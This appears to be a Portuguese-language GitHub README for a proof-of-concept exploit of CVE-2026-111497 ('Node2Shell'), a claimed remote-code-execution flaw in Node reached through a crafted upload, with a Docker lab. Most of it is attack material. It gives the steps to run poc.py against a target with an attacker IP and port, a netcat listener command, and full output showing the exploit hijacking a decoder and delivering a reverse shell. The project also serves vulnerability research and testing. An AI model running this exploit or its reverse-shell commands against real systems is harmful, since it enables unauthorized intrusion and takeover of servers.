eqstlab/cve-2026-111497Prova de conceito de exploit para CVE-2026-111497 (Node2Shell) que aciona execução remota de código por meio de um upload manipulado e entrega um reverse shell, com um laboratório Docker.
Clone o repositório e compile o ambiente Docker.
git clone https://github.com/EQSTLab/CVE-2026-111497.git
cd CVE-2026-111497
docker build -t cve-2026-111497 .
docker run -d --rm --name node2shell-lab -p 3000:3000 cve-2026-111497
Execute o PoC com o endereço de destino e a configuração do listener.
python poc.py [TARGET] -lhost [ATTACKER_IP] -lport [ATTACKER_PORT]
Inicie o listener para receber a conexão de reverse shell.
ncat -lvnp 4444
$ python poc.py 127.0.0.1:3000 -lhost 192.168.102.87 -lport 4444
EQST Lab | CVE-2026-111497 Node2Shell
target 127.0.0.1:3000 /upload
listener 192.168.102.87:4444
profile node 24.22.0 linux/amd64, fd 19
note start a listener first: nc -lvnp 4444
0.0s stream 22.0 MiB brotli, rop at +0x397
6.6s round 1 no hit (6.5s)
23.2s round 2 no hit (6.5s)
40.8s round 3 no hit (6.6s)
50.5s round 4 no hit (0.5s)
66.0s round 5 no hit (0.6s)
84.5s round 6 no hit (0.6s)
103.2s round 7 no hit (0.5s)
127.4s round 8 no hit (6.5s)
137.9s round 9 no hit (0.6s)
161.1s round 10 no hit (6.5s)
170.6s round 11 no hit (0.6s)
192.6s round 12 no hit (6.6s)
207.2s round 13 no hit (6.6s)
224.1s round 14 no hit (6.6s)
234.6s round 15 no hit (0.6s)
259.8s round 16 no hit (6.6s)
270.8s round 17 no hit (0.6s)
288.9s round 18 decoder hijacked (0.5s)
288.9s dispatch reverse shell to 192.168.102.87:4444
result code execution on round 18 of 50
shell waiting on 192.168.102.87:4444
C:\Users\user\Desktop>ncat -lvnp 4444
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.102.87:33437.
bash: cannot set terminal process group (272): Inappropriate ioctl for device
bash: no job control in this shell
node@d40e35dfad8a:/app$ id
id
uid=1000(node) gid=1000(node) groups=1000(node)